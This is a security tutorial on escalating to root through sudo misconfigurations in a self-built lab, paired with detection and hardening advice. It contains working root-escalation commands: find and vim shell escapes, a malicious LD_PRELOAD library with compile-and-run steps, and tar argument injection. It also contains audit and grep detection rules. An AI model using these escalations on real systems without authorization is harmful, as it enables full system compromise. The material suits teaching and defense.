Introduction / Overview
sudo is the single most common path to root on Linux, and a single sloppy line in /etc/sudoers is often all that separates a low-privileged shell from full system compromise. In this article you'll learn how to enumerate what sudo allows, how to weaponize permissive rules using GTFOBins, and how NOPASSWD, env_keep, and LD_PRELOAD turn benign binaries into root shells. Equally important, you'll learn exactly how defenders detect and prevent each of these techniques.
Disclaimer: This material is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
How it works / Background
sudo consults /etc/sudoers (and files in /etc/sudoers.d/) to decide which commands a user may run as another user — usually root. Two design points create most of the risk:
- The command itself is trusted, not the action. If you can run a program as root and that program can spawn a shell, read arbitrary files, or write files, you effectively are root. GTFOBins catalogs exactly which binaries do this.
- The environment can leak into the privileged process. Normally
sudosanitizes environment variables (secure_path,env_reset). When an admin loosens this withenv_keeporsetenv, attacker-controlled variables likeLD_PRELOADorPYTHONPATHflow into the root process.
NOPASSWD removes the password barrier, which doesn't grant new commands but dramatically lowers the bar for automated and post-exploitation use.
Prerequisites / Lab setup
You need a low-privileged shell on a Linux box (a VM you control). Create a few deliberately weak rules to follow along. As root:
# Create a test user
useradd -m -s /bin/bash lowpriv && echo 'lowpriv:Passw0rd!' | chpasswd
# Drop some classic misconfigurations into a dedicated file
cat >/etc/sudoers.d/weak <<'EOF'
lowpriv ALL=(ALL) NOPASSWD: /usr/bin/find
lowpriv ALL=(ALL) NOPASSWD: /usr/bin/vim
Defaults!/usr/bin/apache2ctl env_keep += "LD_PRELOAD"
lowpriv ALL=(ALL) NOPASSWD: /usr/sbin/apache2ctl
EOF
visudo -cf /etc/sudoers.d/weak # syntax checkBashNow switch to lowpriv (su - lowpriv) and start enumerating.
Attack walkthrough / PoC
Step 1 — Enumerate with sudo -l
The first command on any engagement after landing a shell:
sudo -lBashSample output:
Matching Defaults entries for lowpriv on lab:
env_reset, mail_badpass, secure_path=/usr/sbin:/usr/bin:/sbin:/bin
User lowpriv may run the following commands on lab:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/sbin/apache2ctlBashRead every line carefully. (ALL) means you can target any user including root. NOPASSWD means no credential needed. Note any env_keep entries in the Defaults block — they're easy to skim past and are often the real prize.
Step 2 — GTFOBins: turn a binary into a shell
find is a textbook GTFOBins entry. It has an -exec primitive that runs as the calling (root) context:
sudo find . -exec /bin/sh \; -quit
# id
# uid=0(root) gid=0(root) groups=0(root)Bashvim is just as fatal — it can shell out or run Lua/Python:
sudo vim -c ':!/bin/sh'
# or, stealthier:
sudo vim -c ':py3 import os; os.execl("/bin/sh","sh","-pc","reset; exec sh")'BashThe workflow is mechanical: take each binary from sudo -l, look it up on GTFOBins under the Sudo function, and copy the one-liner. The same logic covers awk, nmap (interactive mode on old versions), less, man, tar --checkpoint-action, python -c, and dozens more.
Step 3 — Abuse env_keep and LD_PRELOAD
When sudo -l shows env_keep+=LD_PRELOAD (or setenv), you can inject a shared object into a binary that runs as root. Compile a malicious library whose constructor escalates privileges:
// shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD"); // avoid recursion
setgid(0);
setuid(0);
system("/bin/bash -p"); // -p preserves the elevated EUID
}Cgcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so apache2ctl
# id
# uid=0(root) ...BashBecause the loader processes LD_PRELOAD before main() runs, the constructor fires as root regardless of what apache2ctl actually does. The same idea applies to PYTHONPATH (drop a malicious os.py) or LD_LIBRARY_PATH when those variables survive in env_keep.
Step 4 — Wildcard and path abuse
A rule like lowpriv ALL=(root) NOPASSWD: /usr/bin/tar -czf /backup/* invites argument injection. Even without an env leak, relative paths or wildcards in sudoers commands frequently let you smuggle extra flags (e.g. tar's --checkpoint-action=exec=sh). Always test whether the rule pins the full argument list or just the binary.
Historically, even
sudoitself has been vulnerable: CVE-2021-3156 ("Baron Samedit") was a heap overflow in argument parsing that gave root to any local user, regardless of sudoers rules. Confirm the host'ssudo --versionagainst patched releases (>= 1.9.5p2).
Mermaid diagram

Text summary: from a low-privileged shell, sudo -l reveals the allowed commands, which branch into a GTFOBins shell escape, an LD_PRELOAD library injection, or wildcard argument injection — all converging on root.
Detection & Defense (Blue Team)
Defense matters as much as the attack. Apply these in depth.
1. Write least-privilege sudoers rules.
- Never grant interactive editors (
vim,less,man), interpreters (python,perl), or archive/file tools (find,tar,awk) without understanding they are shell equivalents. Cross-check every entry against GTFOBins before approving it. - Pin full paths and exact arguments; avoid wildcards. Prefer
Cmnd_Aliasdefinitions reviewed in code.
2. Keep env_reset on and env_keep minimal.
- Ensure
Defaults env_resetis set (the default) and never addLD_PRELOAD,LD_LIBRARY_PATH,PYTHONPATH, orsetenvtoenv_keep. Verify with:
sudo grep -rEn 'env_keep|setenv|NOPASSWD|ALL=\(ALL\)|\*' /etc/sudoers /etc/sudoers.d/Bash3. Patch sudo. Track CVE-2021-3156 and CVE-2023-22809 (sudoedit EDITOR injection). Keep sudo current via your package manager.
4. Enable sudo logging and I/O capture. Centralize logs and alert on shell escapes:
# /etc/sudoers
Defaults log_input, log_output
Defaults logfile="/var/log/sudo.log"
Defaults iolog_dir="/var/log/sudo-io/%{user}"BashThen alert (via auditd/SIEM) when a sudo session spawns /bin/sh, /bin/bash -p, or sets LD_PRELOAD. With auditd:
auditctl -w /etc/sudoers -p wa -k sudoers_change
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -k root_execBash5. Hunt proactively. Run the same tools attackers do — sudo -l, LinPEAS, and pspy — during internal audits to catch weak rules before adversaries do.
This maps to MITRE ATT&CK T1548.003 (Abuse Elevation Control Mechanism: Sudo and Sudo Caching). Mitigations M1026 (Privileged Account Management) and M1038 (Execution Prevention) apply directly.
Conclusion
sudo misconfigurations remain one of the highest-yield Linux privilege escalation paths because they require no exploit — just a misplaced trust in a binary or an environment variable. The attacker's playbook is short: run sudo -l, match each entry against GTFOBins, and exploit any env_keep leak with LD_PRELOAD. The defender's playbook is equally clear: minimize rules, keep env_reset, audit env_keep, patch sudo, and log every elevation. Treat every line in /etc/sudoers.d/ as a potential root shell, because it very often is.
For related techniques, see Linux SUID Binary Abuse, Cron Job Privilege Escalation, and Linux Capabilities Exploitation.
References
- MITRE ATT&CK — T1548.003 Sudo and Sudo Caching: https://attack.mitre.org/techniques/T1548/003/
- GTFOBins: https://gtfobins.github.io/
- HackTricks — Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- CVE-2021-3156 (Baron Samedit), Qualys advisory: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
- CVE-2023-22809 — sudoedit additional file write: https://nvd.nist.gov/vuln/detail/CVE-2023-22809
- sudo project documentation: https://www.sudo.ws/docs/man/sudoers.man/



Comments